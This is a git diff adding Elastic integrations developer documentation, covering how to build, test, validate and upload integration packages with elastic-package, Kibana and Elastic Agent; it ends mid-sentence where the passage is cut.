Steps and customization options for the `install` command are described in this [How To guide](https://github.com/elastic/elastic-package/blob/main/docs/howto/install_package.md) in the `elastic-package` repository. + + :::: + +2. After the cluster has finished setting up, open a second terminal window and run the following command to install your package: + + ```console + elastic-package install + ``` + +3. After the command runs, check that your new package appears in Kibana under **Management > Integrations > Installed integrations**. + + :::{image} ../images/package-installed.png + :alt: Kibana installed integrations tab with a card for my sample package + ::: + + + +## Step 3: Create a dataset [qs-create-dataset] + +You’ve now built an integration package, but it does not contain any assets. For the goal of starting to collect logs, you need to create a dataset, and for it the Elasticsearch mappings and ingest pipelines. If you want to be able to collect data through a managed {{agent}}, you also need to add an agent policy template. + +1. Create a new dataset: + + ```console + elastic-package create data-stream + ``` + +2. When prompted, provide the following details: + + * Data stream name: log + * Data stream title: My log lines + * Type: logs + + The command creates the required data in the `/data_stream/log` directory. If you pick `log` as data stream name, the dataset is called `sample.log` and the final data stream created will be `logs-sample.log-default` as an example. + +3. To not have to worry about mappings, you can pull in all [Elastic Common Schema (ECS) fields][Elastic Common Schema (ECS)](ecs://reference/index.md)). To do this, create the file `_dev/build/build.yml` under the root directory and add the following content: + + ```yaml + dependencies: + ecs: + reference: git@v8.6.0 + import_mappings: true + ``` + +4. It’s always a good idea to re-check to make sure that your package still builds and works as expected. + + ```console + elastic-package check + ``` + +5. Re-install your package. + + ```console + elastic-package install + ``` + + This reinstalls the package and create mapping templates for `logs-sample.log-*`. You can also add your own mappings under `data_stream/log/fields/fields.yml` if needed. + + + +## Step 4: Add processing [qs-add-processing] + +You can now already ship log files to `logs-sample.log-default` but no processing will happen. So, let’s create a sample log file. + +1. Create a file `test-sample.log` with the following contents, and save it anywhere on your local machine. + + ```console + 2024-04-21T13:44:56.657+0100 INFO Hello world + 2024-04-21T13:45:56.657+0100 INFO This is a nice day + 2024-04-21T13:46:56.657+0100 INFO I am working on stuff + ``` + + Each line of the log file will be shipped by {{agent}} as a document with the message field containing the log line. You will set up the dissect processor to take the log line apart into `@timestamp`, `log.level`, and `message`. + +2. Next, test your ingest pipeline. In {{kib}} navigate to **Management > Dev Tools** and run the [Simulate pipeline API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ingest-simulate): + + ```console + POST /_ingest/pipeline/_simulate + { + "pipeline" : + { + "description": "logs-sample.log", + "processors": [ + { + "dissect" : { + "field" : "message", + "pattern" : "%{@timestamp} %{log.level} %{message}" + } + } + ] + }, + "docs": [ + { + "_index": "index", + "_id": "id", + "_source": { + "message": "2023-02-21T13:46:56.657+0100 INFO I am working on stuff" + } + } + ] + } + ``` + + This returns: + + ```console + { + "docs": [ + { + "doc": { + "_index": "index", + "_version": "-3", + "_id": "id", + "_source": { + "@timestamp": "2023-02-21T13:46:56.657+0100", + "message": "I am working on stuff", + "log": { + "level": "INFO" + } + }, + "_ingest": { + "timestamp": "2024-04-30T17:51:22.16442471Z" + } + } + } + ] + } + ``` + +3. Now that you’ve confirmed that the ingest pipeline is working, add it to your dataset by modifying `data_stream/log/elasticsearch/ingest_pipline/default.yml` to: + + ```console + description: Pipeline for processing sample logs + processors: + - dissect: + field: message + pattern: "%{@timestamp} %{log.level} %{message}" + on_failure: + - set: + field: error.message + value: '{{ _ingest.on_failure_message }}' + ``` + +4. Now run `elastic-package check` again and then re-upload the package with `elastic-package install`. This installs your new ingest pipeline. +5. Do a quick test run to test the new pipeline. In the **Dev tools** console, run: + + ```console + POST logs-sample.log-default/_doc + { + "message": "2023-02-21T13:46:56.657+0100 INFO I am working on stuff" + } + ``` + + The response is: + + ```console + { + "_index": ".ds-logs-sample.log-default-2024.04.30-000001", + "_id": "BsUtMI8BQEniT9Md_TYh", + "_version": 1, + "result": "created", + "_shards": { + "total": 2, + "successful": 1, + "failed": 0 + }, + "_seq_no": 0, + "_primary_term": 1 + } + ``` + +6. Now run: + + ```console + GET logs-sample.log-default/_search + ``` + + The response is: + + ```console + { + "took": 1, + "timed_out": false, + "_shards": { + "total": 1, + "successful": 1, + "skipped": 0, + "failed": 0 + }, + "hits": { + "total": { + "value": 1, + "relation": "eq" + }, + "max_score": 1, + "hits": [ + { + "_index": ".ds-logs-sample.log-default-2024.04.30-000001", + "_id": "BsUtMI8BQEniT9Md_TYh", + "_score": 1, + "_source": { + "@timestamp": "2023-02-21T13:46:56.657+0100", + "message": "I am working on stuff", + "event": { + "agent_id_status": "missing", + "ingested": "2024-04-30T18:04:31Z" + }, + "log": { + "level": "INFO" + } + } + } + ] + } + } + ``` + + +Now that you can see the dissected message documented, you’re ready to ingest data. + + +## Step 5: Release a new version [qs-release-new-version] + +1. Since your initial `0.0.1` version of the package, many modifications have been made. To build a new package version, open the `sample/manifest.yml` file and change the package version to `0.2.0`: + + ```console + format_version: 3.1.3 + name: sample + title: "My sample package" + version: 0.2.0 + ``` + +2. You also need to add an entry to your `sample/changelog.yml` file. Make sure to add the new entry at the top of the file: + + ```console + - version: "0.2.0" + changes: + - description: Added sample log processing pipeline + type: enhancement + link: http://fake-link + ``` + + ::::{note} + You can also update the changelog file automatically using the [`elastic-package changelog`](https://github.com/elastic/elastic-package?tab=readme-ov-file#elastic-package-changelog) command. + :::: + +3. Run `elastic-package check` again and then the `elastic-package install` command. + + The `0.1.0` version of the package is updated to version `0.2.0`. Only one version of a package can be installed at a time, but, following these steps, different versions of a package can be rolled out over time. + + +When developing integrations the following versioning guidelines should be used: + +* Patch release (x.y.**Z**): For backward-compatible bug fixes +* Minor release (x.**Y**.z): For backward-compatible new features +* Major release (**X**.y.z): For changes that break backward compatibility + + +## Step 6: Ingest data [qs-ingest-data] + +There are two different ways that you can ingest data, using either standalone {{agent}} or {{agent}} managed by {{fleet}}. For this example, you can use standalone {{agent}} since that won’t require any additional changes to the integration package. + +::::{note} +To run these steps using {{fleet}}-managed {{agent}}, you just need to update the files `data_stream/log/agent/stream/stream.yml.hbs` and `data_stream/log/manifest.yml` to provide the correct configuration, which you can find in the {{fleet}} UI. +:::: + + +1. [Download the {{agent}} install package](https://www.elastic.co/downloads/elastic-agent) to your machine. +2. Download the {{agent}} package, extract it, and change into the package directory. You can find the steps for each available platform in [Install standalone {{agents}}](docs-content://reference/ingestion-tools/fleet/install-standalone-elastic-agent.md). + + You can also download a package directly from the [{{agent}} download site](https://www.elastic.co/downloads/elastic-agent). + +3. In the {{agent}} package directory, open the `elastic-agent.yml` configuration file for editing. +4. Replace the contents of `elastic-agent.yml` with the following: + + ```console + inputs: + - type: logfile + streams: + - data_stream: + # This must be aligned with the dataset name given + dataset: test-sample.log + paths: + # Path to your log file + - //test-sample.log + + outputs: + default: + type: elasticsearch + hosts: ["https://127.0.0.1:9200"] + username: "elastic" + password: "changeme" + ssl.verification_mode: none + ``` + + Where: + + * `dataset` is set to match the `test-sample.log` file that you created. + * is the full path the `test-sample.log` file that you created. + +5. Run {{agent}}: + + ```console + sudo ./elastic-agent -e + ``` + + This will pick up the log file, ship it to {{es}}, and process it with the ingest pipeline. + +6. Confirm that your log file is being ingested as expected: + + 1. In {{kib}}, open **Discover**. + 2. In the search field, enter `log.file.path.text : *`. The search should return a couple of log entries. + 3. Hover over an entry and click `Enter` to view the cell contents. + + :::{image} ../images/datastream-log-message.png + :alt: Data stream showing log message: "this is a nice day" + ::: + + + +## What’s next? [qs-whats-next] + +You now have your own integration package that you can update with new features and ship to an {{stack}} or share with others. + +In the integrations [Contributing Guide](https://github.com/elastic/integrations/blob/main/CONTRIBUTING.md) you can find instructions for adding additional assets to your integrations, such as {{kib}} dashboards. + +Let others know about your new integration: + +* Promote your Integration with Elastic in the [Elastic Community](https://www.elastic.co/community/). +* Register on [Elastic’s Partner Portal](https://partners.elastic.co/English/register_email.aspx) as a Technology Partner. diff --git a/docs/extend/static-testing.md b/docs/extend/static-testing.md new file mode 100644 index 00000000000..617b367f255 --- /dev/null +++ b/docs/extend/static-testing.md @@ -0,0 +1,30 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/static-testing.html +--- + +# Static testing [static-testing] + +Static tests allow you to verify if all static resources of the package are valid, e.g. are all fields of the `sample_event.json` documented. They don’t require any additional configuration (unless you would like to skip them). + + +## Coverage [static-coverage] + +Static tests cover the following resources: + +1. Sample event for a data stream - verification if the file uses only documented fields. + + +## Running static tests [static-running] + +Static tests don’t require the {{stack}} to be up and running. Simply navigate to the package’s root folder (or any sub-folder under it) and run the following command. + +```bash +elastic-package test static +``` + +If you want to run pipeline tests for **specific data streams** in a package, navigate to the package’s root folder (or any sub-folder under it) and run the following command. + +```bash +elastic-package test static --data-streams [,,...] +``` diff --git a/docs/extend/system-testing.md b/docs/extend/system-testing.md new file mode 100644 index 00000000000..2f55ac9f319 --- /dev/null +++ b/docs/extend/system-testing.md @@ -0,0 +1,244 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/system-testing.html +--- + +# System testing [system-testing] + +Elastic Packages comprise of data streams. A system test exercises the end-to-end flow of data for a package’s data stream — from ingesting data from the package’s integration service all the way to indexing it into an {{es}} data stream. + + +## Conceptual process [system-concepts] + +Conceptually, running a system test involves the following steps: + +1. Deploy the {{stack}}, including {{es}}, {{kib}}, and the {{agent}}. This step takes time. so you should typically do it once as a prerequisite to running system tests on multiple data streams. +2. Enroll the {{agent}} with {{fleet}} (running in the {{kib}} instance). This step also can be done once, as a prerequisite. +3. Depending on the Elastic Package whose data stream is being tested, deploy an instance of the package’s integration service. +4. Create a test policy that configures a single data stream for a single package. +5. Assign the test policy to the enrolled Agent. +6. Wait a reasonable amount of time for the Agent to collect data from the integration service and index it into the correct {{es}} data stream. +7. Query the first 500 documents based on `@timestamp` for validation. +8. Validate mappings are defined for the fields contained in the indexed documents. +9. Validate that the JSON data types contained `_source` are compatible with mappings declared for the field. +10. Delete test artifacts and tear down the instance of the package’s integration service. +11. Once all desired data streams have been system tested, tear down the {{stack}}. + + +## Limitations [system-test-limitations] + +At the moment, system tests have limitations. The salient ones are: * There isn’t a way to assert that the indexed data matches data from a file (e.g. golden file testing). + + +## Defining a system test [system-test-definition] + +Packages have a specific folder structure (only relevant parts shown). + +```bash +/ + data_stream/ + / + manifest.yml + manifest.yml +``` + +To define a system test we must define configuration on at least one level: a package or a data stream’s one. + +First, we must define the configuration for deploying a package’s integration service. We can define it on either the package level: + +```bash +/ + _dev/ + deploy/ + / + +``` + +or the data stream’s level: + +```bash +/ + data_stream/ + / + _dev/ + deploy/ + / + +``` + +`` - a name of the supported service deployer: + +* `docker` - Docker Compose +* `k8s` - Kubernetes +* `tf` - Terraform + + +### Docker Compose service deployer [system-docker-compose] + +The `` must include a `docker-compose.yml` file when using the Docker Compose service deployer. The `docker-compose.yml` file defines the integration service for the package. For example, if your package has a logs data stream, the log files from your package’s integration service must be written to a volume. For example, the `apache` package has the following definition in it’s integration service’s `docker-compose.yml` file. + +```bash +version: '2.3' +services: + apache: + # Other properties such as build, ports, etc. + volumes: + - ${SERVICE_LOGS_DIR}:/usr/local/apache2/logs +``` + +Here, `SERVICE_LOGS_DIR` is a special keyword. It is something that we will need later. + + +### Terraform service deployer [system-terraform] + +When using the Terraform service deployer, the `` must include at least one `*.tf` file. The `*.tf` files define the infrastructure using the Terraform syntax. The Terraform-based service can be handy to boot up resources using a selected cloud provider and use them for testing (e.g. observe and collect metrics). + +Sample `main.tf` definition: + +```bash +variable "TEST_RUN_ID" { + default = "detached" +} + +provider "aws" {} + +resource "aws_instance" "i" { + ami = data.aws_ami.latest-amzn.id + monitoring = true + instance_type = "t1.micro" + tags = { + Name = "elastic-package-test-${var.TEST_RUN_ID}" + } +} + +data "aws_ami" "latest-amzn" { + most_recent = true + owners = [ "amazon" ] # AWS + filter { + name = "name" + values = ["amzn2-ami-hvm-*"] + } +} +``` + +Notice the use of the `TEST_RUN_ID` variable. It contains a unique ID, which can help differentiate resources created in potential concurrent test runs. + + +### Kubernetes service deployer [system-kubernetes] + +The Kubernetes service deployer requires the `_dev/deploy/k8s` directory to be present. It can include additional `*.yaml` files to deploy custom applications in the Kubernetes cluster (e.g. Nginx deployment). If no resource definitions (`*.yaml` files ) are needed, the `_dev/deploy/k8s` directory must contain an `.empty` file (to preserve the `k8s` directory under version control). + +The Kubernetes service deployer needs [kind](https://kind.sigs.k8s.io/) to be installed and the cluster to be up and running: + +```bash +wget -qO- https://raw.githubusercontent.com/elastic/elastic-package/main/scripts/kind-config.yaml | kind create cluster --config - +``` + +Before executing system tests, the service deployer applies once the deployment of the {{agent}} to the cluster and links the kind cluster with the Elastic stack network - applications running in the kind cluster can reach {{es}} and {{kib}} instances. The {{agent}}'s deployment is not deleted after tests to shorten the total test execution time, but it can be reused. + +See how to execute system tests for the Kubernetes integration (`pod` data stream): + +```bash +elastic-package stack up -d -v # start the Elastic stack +wget -qO- https://raw.githubusercontent.com/elastic/elastic-package/main/scripts/kind-config.yaml | kind create cluster --config - +elastic-package test system --data-streams pod -v # start system tests for the "pod" data stream +``` + + +### Test case definition [system-test-case] + +Next, we must define at least one configuration for each data stream that we want to system test. You can define multiple test cases for the same data stream. + +*Hint: if you plan to define only one test case, you can consider the filename `test-default-config.yml`.* + +```bash +/ + data_stream/ + / + _dev/ + test/ + system/ + test--config.yml +``` + +The `test--config.yml` file allows you to define values for package and data stream-level variables. For example, the `apache/access` data stream’s `test-access-log-config.yml` is shown below. + +```bash +vars: ~ +input: logfile +data_stream: + vars: + paths: + - "{{SERVICE_LOGS_DIR}}/access.log*" +``` + +The top-level `vars` field corresponds to package-level variables defined in the `apache` package’s `manifest.yml` file. In the above example, we don’t override any of these package-level variables, so their default values, are used in the `apache` package’s `manifest.yml` file. + +The `data_stream.vars` field corresponds to data stream-level variables for the current data stream (`apache/access` in the above example). In the above example we override the `paths` variable. All other variables are populated with their default values, as specified in the `apache/access` data stream’s `manifest.yml` file. + +Notice the use of the `{{SERVICE_LOGS_DIR}}` placeholder. This corresponds to the `${SERVICE_LOGS_DIR}` variable we saw in the `docker-compose.yml` file earlier. In the above example, the `/usr/local/apache2/logs/access.log*` files located inside the Apache integration service container become available at the same path from {{agent}}'s perspective. + +When a data stream’s manifest declares multiple streams with different inputs you can use the `input` option to select the stream to test. The first stream whose input type matches the `input` value will be tested. By default, the first stream declared in the manifest will be tested. + + +#### Placeholders [system-placeholders] + +The `SERVICE_LOGS_DIR` placeholder is not the only one available for use in a data stream’s `test--config.yml` file. The complete list of available placeholders is shown below. + +| Placeholder name | Data type | Description | +| --- | --- | --- | +| `Hostname` | string | Addressable host name of the integration service. | +| `Ports` | []int | Array of addressable ports the integration service is listening on. | +| `Port` | int | Alias for `Ports[0]`. Provided as a convenience. | +| `Logs.Folder.Agent` | string | Path to integration service’s logs folder, as addressable by the Agent. | +| `SERVICE_LOGS_DIR` | string | Alias for `Logs.Folder.Agent`. Provided as a convenience. | + +Placeholders used in the `test--config.yml` must be enclosed in `{{` and `}}` delimiters, per Handlebars syntax. + + +## Running a system test [system-running-test] + +Once the two levels of configurations are defined as described in the previous section, you are ready to run system tests for a package’s data streams. + +First you must deploy the {{stack}}. This corresponds to steps 1 and 2 as described in the [Conceptual-process](/extend/pipeline-testing.md#pipeline-concepts) section. + +```bash +elastic-package stack up -d +``` + +For a complete listing of options available for this command, run `elastic-package stack up -h` or `elastic-package help stack up`. + +Next, you must set environment variables needed for further `elastic-package` commands. + +```bash +$(elastic-package stack shellinit) +``` + +Next, you must invoke the system tests runner. This corresponds to steps 3 to 7 as described in the [Conceptual-process](/extend/pipeline-testing.md#pipeline-concepts) section. + +If you want to run system tests for **all data streams** in a package, navigate to the package’s root folder (or any sub-folder under it) and run the following command. + +```bash +elastic-package test system +``` + +If you want to run system tests for **specific data streams** in a package, navigate to the package’s root folder (or any sub-folder under it) and run the following command. + +```bash +elastic-package test system --data-streams [,,...] +``` + +Finally, when you are done running all system tests, bring down the {{stack}}. This corresponds to step 8 in the [Conceptual-process](/extend/pipeline-testing.md#pipeline-concepts) section. + +```bash +elastic-package stack down +``` + + +### Generating sample events [system-sample-events] + +As the system tests exercise an integration end-to-end from running the integration’s service all the way to indexing generated data from the integration’s data streams into {{es}}, it is possible to generate `sample_event.json` files for each of the integration’s data streams while running these tests. + +```bash +elastic-package test system --generate +``` diff --git a/docs/extend/testing-new-indexing-features.md b/docs/extend/testing-new-indexing-features.md new file mode 100644 index 00000000000..ce0bc77e834 --- /dev/null +++ b/docs/extend/testing-new-indexing-features.md @@ -0,0 +1,170 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/testing-new-indexing-features.html +--- + +# How to test new indexing features [testing-new-indexing-features] + +Elasticsearch has been adding new indexing modes and features that allow optimization of storage size and query performance. + +We’d like to enable integration developers to start testing the ingest and query performance of enabling these features before we start making any changes in the integrations themselves or allowing end users to enable these from the Fleet UI. + +Today, each of these can already be enabled by leveraging the `*@custom` component templates that Fleet installs for each integration data stream, to varying degrees of ease of use (details below). We could improve the UX around this for integration developers by adding an explicit API in Fleet to enable this, however it may not be necessary. See [elastic/kibana#132818](https://github.com/elastic/kibana/issues/132818) for discussion around how a feature flag API could be added to ease this a bit more. + +See the following instructions for testing new indexing features: + +* [Testing synthetic source](#integrations-dev-synthetic-source) +* [Testing `doc-value-only` fields](#integrations-dev-doc-value-only-fields) +* [Time-series indexing (TSDS)](#integrations-dev-test-tsds) + +## Testing synthetic source [integrations-dev-synthetic-source] + +* For background, refer to [#85649](https://github.com/elastic/elasticsearch/pull/85649) +* For integrations support, refer to [#340](https://github.com/elastic/package-spec/pull/340) + +This feature is quite easy to enable on an integration using the component template. Here’s how to do this for the `nginx` substatus metrics, for example: + +1. Install the nginx package. +2. Run this dev tools command: + + ```console + PUT /_component_template/metrics-nginx.substatus@custom + { + "template": { + "settings": {}, + "mappings": { + "_source": { + "mode": "synthetic" + } + } + }, + "_meta": { + "package": { + "name": "nginx" + } + } + } + ``` + +3. If a data stream already exists, rollover the data stream to get the new mappings: `POST metrics-nginx.substatus-default/_rollover` + +One challenge with leveraging synthetic source is that it doesn’t support keyword fields that have `ignore_above` configured. It may be worth removing this setting for testing on those fields. This can be done by editing the package in `dev` and installing it via `elastic-package` or overriding it via the custom component template, similar to the [`doc-value-only`](#integrations-dev-doc-value-only-fields) example. + + +## Testing `doc-value-only` fields [integrations-dev-doc-value-only-fields] + +* For background, refer to [Elasticsearch, Kibana, Elastic Cloud 8.1: Faster indexing, less disk storage, and smarter analytics capabilities](https://www.elastic.co/blog/whats-new-elasticsearch-kibana-cloud-8-1-0). +* For integrations support, refer to [#3419](https://github.com/elastic/integrations/issues/3419). + +This feature is more challenging with component templates because it requires adding `index: false` to every long and double field. Providing an API in Fleet would make this a bit easier. Here’s how to do this manually: + +1. Install the `nginx` package. +2. Get the mappings included with the package: `GET /_component_template/logs-nginx.access@package`. +3. Copy the output into your favorite text editor, search for each `"type": "long"` and `"type": "double"`, and add `"index": false`. +4. Update the custom component template with the new mappings. For example, here’s how to set the long fields to `index: false`: + + ```console + PUT /_component_template/merics-nginx.substatus@custom + { + "template": { + "settings": {}, + "mappings": { + "properties": { + "nginx": { + "properties": { + "stubstatus": { + "properties": { + "hostname": { + "ignore_above": 1024, + "type": "keyword" + }, + "current": { + "type": "long", + "index": false + }, + "waiting": { + "type": "long", + "index": false + }, + "accepts": { + "type": "long", + "index": false + }, + "handled": { + "type": "long", + "index": false + }, + "writing": { + "type": "long", + "index": false + }, + "dropped": { + "type": "long", + "index": false + }, + "active": { + "type": "long", + "index": false + }, + "reading": { + "type": "long", + "index": false + }, + "requests": { + "type": "long", + "index": false + } + } + } + } + } + } + } + }, + "_meta": { + "package": { + "name": "nginx" + } + } + } + ``` + +5. If a data stream already exists, rollover the data stream to get the new mappings: `POST metrics-nginx.substatus-default/_rollover` + + +## Time-series indexing (TSDS) [integrations-dev-test-tsds] + +* For background, refer to [#74660](https://github.com/elastic/elasticsearch/issues/74660) +* For integrations support, refer to [#311](https://github.com/elastic/package-spec/issues/311) + +Usage of TSDS indexing requires the following: + +* Mapping parameters must be added for `time_series_dimension` and `time_series_metric` on appropriate fields. This is already supported by the package ecosystem and Fleet, so packages can already define these options. +* The `mode: time_series` and `routing_path` index settings must be added, this can be done by editing the custom component template. + +Note that the `routing_path` setting should correspond to fields with `time_series_dimension` specified. In the future, ES may automate this setting. + +1. Install the kubernetes package (already has TSDS mappings set up) +2. Run this dev tools command: + + ```console + PUT /_component_template/metrics-kubernetes.pod@custom + { + "template": { + "settings": { + "index.mode": "time_series", + "index.routing_path": ["kubernetes.pod.uid"] + }, + "mappings": {} + }, + "_meta": { + "package": { + "name": "kubernetes" + } + } + } + ``` + +3. If a data stream already existed, rollover the data stream to get the new mappings: `POST metrics-kubernetes.pod-default/_rollover` + + diff --git a/docs/extend/testing-validation.md b/docs/extend/testing-validation.md new file mode 100644 index 00000000000..66b74e23199 --- /dev/null +++ b/docs/extend/testing-validation.md @@ -0,0 +1,118 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/testing-and-validation.html +--- + +# Testing and validation [testing-and-validation] + +1. Build the package you’d like to verify (e.g. `apache`): + + ```bash + cd apache + elastic-package build + ``` + +2. Start the testing environment: + + Run from inside the Integrations repository: + + ```bash + elastic-package stack up -d -v + ``` + + The command above will boot up the {{stack}} ({{es}}, {{kib}}, and {{package-registry}}) using Docker containers. It rebuilds the {{package-registry}} Docker image using packages built in step 1. and boots up the {{package-registry}}. + + To reload the already deployed {{package-registry}}, use the following command: + + ```bash + elastic-package stack up -v -d --services package-registry + ``` + +3. Verify that your integration is available in the correct version. For example, MySQL: [http://localhost:8080/search?package=mysql](http://localhost:8080/search?package=mysql) (use `experimental=true` parameter if the package is in experimental version. Alternatively set `release` to `beta` or higher in your package’s `manifest.yml`, if appropriate.) + + ```json + [ + { + "description": "MySQL Integration", + "download": "/epr/mysql/mysql-0.0.1.tar.gz", + "icons": [ + { + "src": "/package/mysql/0.0.1/img/logo_mysql.svg", + "title": "logo mysql", + "size": "32x32", + "type": "image/svg+xml" + } + ], + "name": "mysql", + "path": "/package/mysql/0.0.1", + "title": "MySQL", + "type": "integration", + "version": "0.0.1" + } + ] + ``` + + The `elastic-package stack` provides an enrolled instance of the {{agent}}. Use that one instead of a local application if you can run the service (you’re integrating with) in the Docker network and you don’t need to rebuild the Elastic-Agent or it’s subprocesses (e.g. {{filebeat}} or {{metricbeat}}). The service Docker image can be used for <=7.10.0`. Otherwise the package is also in 8.0.0 but we do not know today if it will actually be compatible with >= 8.0.0. + + ```yaml + conditions: + kibana.version: '^7.10.0' + ``` + +4. Set the proper package owner (either Github team or personal account) + + Good candidates for a team: `elastic/integrations`, `elastic/security-service-integrations` + + Update the `.github/CODEOWNERS` file accordingly. + + + + +## All integrations [_all_integrations] + +### Development [_development] + +1. When you’re developing integrations and you’d like to propagate your changes to the package registry, first rebuild the package: + + ```bash + $ cd packages/apache + $ elastic-package build + ``` + + Then, rebuild and redeploy the Package Registry: + + *It’s important to execute the following command in the Integrations repository.* + + ```bash + $ elastic-package stack up -v -d --services package-registry + ``` + + Explanation: it’s much faster to rebuild and restart the container with the Package Registry, than work with mounted volumes. + + + +### Code reviewers [_code_reviewers] + +1. Ping "Team:Integrations". + + Use the team label to notify relevant team members about the incoming pull request. + + +#### Manifest files [_manifest_files_2] + +1. Descriptions of configuration options should be as short as possible. + + Remember to keep only the meaningful information about the configuration option. + + Good candidates: references to the product configuration, accepted string values, explanation. + + Bad candidates: *Collect metrics from A, B, C, D,…​ X, Y, Z datasets.* + +2. Descriptions should be human readable. + + Try to rephrase sentences like: *Collect foo_Bar3 metrics*, into *Collect Foo Bar metrics*. + +3. Description should be easy to understand. + + Simplify sentences, don’t provide information about the input if not required. + + Bad candidate: *Collect application logs (log input)* + + Good candidates: *Collect application logs*, *Collect standard logs for the application* + +4. Letter casing is important for screenshot descriptions. + + These descriptions are visualized in the Kibana UI. It would be better experience to have them clean and consistent. + + Bad candidate: *filebeat running on ec2 machine* + + Good candidates: *Filebeat running on AWS EC2 machine* + +5. If package relies on some feature or a field, available only in a specific stack or beats version, `kibana.version` condition should be adjusted accordingly in the package’s `manifest.yml`: + + ```yaml + conditions: + kibana.version: '^8.7.0' + ``` + + ::::{note} + The package version with such condition as above will be only available in Kibana version >=8.7.0 + :::: + + + ::::{note} + Changing dashboards and visualizations using an unreleased version of Kibana might be unsafe since the Kibana Team might make changes to the Kibana code and potentially the data models. There is no guarantee that your changes won’t be broken by the time new Kibana version is released. + :::: + + + +#### CI [_ci] + +1. Run `elastic-package check` and `elastic-package test` locally. + + If you want to verify if your integration works as intended, you can execute the same steps as CI: + + ```bash + $ cd packages/apache + $ elastic-package check -v + $ elastic-package test -v + ``` + + Keep in mind that the `elastic-package test` command requires a live cluster running and exported environment variables. The environment variables can be set with `eval "$(elastic-package stack shellinit)"`. + + + +#### Fields [_fields] + +1. Remove empty fields files. + + If you notice that fields file (e.g. `package-fields.yml`) doesn’t contain any field definitions or it defines root only, feel free to remove it. + + Bad candidate: + + ```yaml + - name: mypackage.mydataset + type: group + ``` + + + + + diff --git a/docs/extend/toc.yml b/docs/extend/toc.yml new file mode 100644 index 00000000000..acb4175f9d0 --- /dev/null +++ b/docs/extend/toc.yml @@ -0,0 +1,51 @@ +toc: + - file: index.md + - file: what-is-an-integration.md + children: + - file: integration-definitions.md + - file: quick-start.md + - file: build-new-integration.md + children: + - file: build-overview.md + - file: build-spin-stack.md + - file: build-create-package.md + - file: add-data-stream.md + - file: define-deployment-modes.md + - file: edit-ingest-pipeline.md + - file: add-mapping.md + - file: create-dashboards.md + - file: build-it.md + - file: testing-validation.md + - file: finishing-touches.md + - file: tips-for-building.md + - file: upload-new-integration.md + - file: testing.md + children: + - file: asset-testing.md + - file: pipeline-testing.md + - file: static-testing.md + - file: system-testing.md + - file: _publish_an_integration.md + - file: developer-workflows.md + children: + - file: developer-workflow-fleet-UI.md + - file: developer-workflow-support-old-package.md + - file: developer-workflow-import-beat.md + - file: integrations-guidelines.md + children: + - file: general-guidelines.md + - file: dashboard-guidelines.md + - file: documentation-guidelines.md + - file: integrations-tsds-synthetic-source.md + children: + - file: developer-tsds-guidelines.md + - file: testing-new-indexing-features.md + - file: elastic-package.md + - file: package-spec.md + children: + - file: dev-spec.md + - file: data-stream-spec.md + - file: docs-spec.md + - file: kibana-spec.md + - file: changelog-spec.md + - file: manifest-spec.md \ No newline at end of file diff --git a/docs/extend/upload-new-integration.md b/docs/extend/upload-new-integration.md new file mode 100644 index 00000000000..078d2b82a00 --- /dev/null +++ b/docs/extend/upload-new-integration.md @@ -0,0 +1,47 @@ +--- +navigation_title: "Upload an integration" +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/upload-a-new-integration.html +--- + +# Upload an integration to Kibana [upload-a-new-integration] + + +{{fleet}} supports integration installation through direct upload as a means to support integration developers or users who have created custom integrations that they don’t want to commit upstream back to the [Elastic Integrations repository](https://github.com/elastic/integrations). + +Direct upload can also be useful in air-gapped environments, by providing a way to update integrations without needing to update a self-hosted package registry. + + +## Local development [upload-integration-local] + +If you’ve followed the local development steps in [*Build an integration*](/extend/build-new-integration.md), upload your integration to Kibana with the following command: + +```bash +elastic-package install --zip /path/to/my/custom-integration +``` + +For more information, see [`elastic-package install`](/extend/elastic-package.md#elastic-package-install). + + +## Production deployment [upload-integration-production] + +To upload your integration to a production deployment, first zip the package: + +```bash +$ cd /path/to/my/custom-integration +$ elastic-package build +``` + +You can now use the Kibana API to upload your integration: + +```bash +$ curl -XPOST \ + -H 'content-type: application/zip' \ + -H 'kbn-xsrf: true' \ + http://your.kibana.host/api/fleet/epm/packages \ + -u {username}:{password} \ + --data-binary @my-custom-integration.zip +``` + +More information on this endpoint is available in the [Fleet API Reference](https://www.elastic.co/guide/en/fleet/current/fleet-apis.html). + diff --git a/docs/extend/what-is-an-integration.md b/docs/extend/what-is-an-integration.md new file mode 100644 index 00000000000..948f16610e4 --- /dev/null +++ b/docs/extend/what-is-an-integration.md @@ -0,0 +1,53 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/index.html + - https://www.elastic.co/guide/en/integrations-developer/current/what-is-an-integration.html +--- + +# What is an integration? [what-is-an-integration] + +An Elastic integration is a collection of assets that defines how to observe a specific product or service with the {{stack}}: + +* Data ingest, storage, and transformation rules +* Configuration options +* Pre-built, custom dashboards and visualizations +* Documentation +* Tests + +Integrations have a strict, well-defined structure, and offer a number of benefits over other ingest options: + +* Structured around the service that is being observed—​not the monitoring agent +* Easy, less error-prone configuration +* Fewer monitoring agents for users to install +* Deploy in just a few clicks +* Decoupled release process from the {stack} + + +## Integration lifecycle [how-integrations-work] + +1. Create a source package + + All integrations start as a source package. You’ll find most Elastic integrations in the [`elastic/integrations`](https://github.com/elastic/integrations) repository, but a package can live anywhere. + + All packages must adhere to the [package specification](/extend/package-spec.md) — a formal spec used for the creation and validation of new or updated integrations. + +2. Publish the integration to the package registry + + Once an integration (package) has been created, it needs to be built. Built integrations are stored in the [Package Storage repository](https://github.com/elastic/package-storage) and served up via the [{{package-registry}}](https://github.com/elastic/package-registry). The {{fleet}} UI in {{kib}} connects to the {{package-registry}} and allows users to discover, install, and configure Elastic Packages. The {{package-registry}} can also be [deployed on-premise in air-gapped environments](docs-content://reference/ingestion-tools/fleet/air-gapped.md#air-gapped-diy-epr). + +3. Install the integration + + Using {{fleet}} in {{kib}}, install the integration and add it to an {{agent}} policy. When you install a package, its assets are unpacked and installed into {{es}} and {{kib}} using {{stack}} APIs. In addition, configuration for the package is persisted in {{es}} as an {{agent}} policy. + +4. Add the policy with the integration to an {{agent}}. + + Once the policy with an integration is added to an {{agent}}, the {{agent}} will begin to collect and ship data to the {{stack}} based on the Elastic integration. + + Package assets may come into play here. For example, if 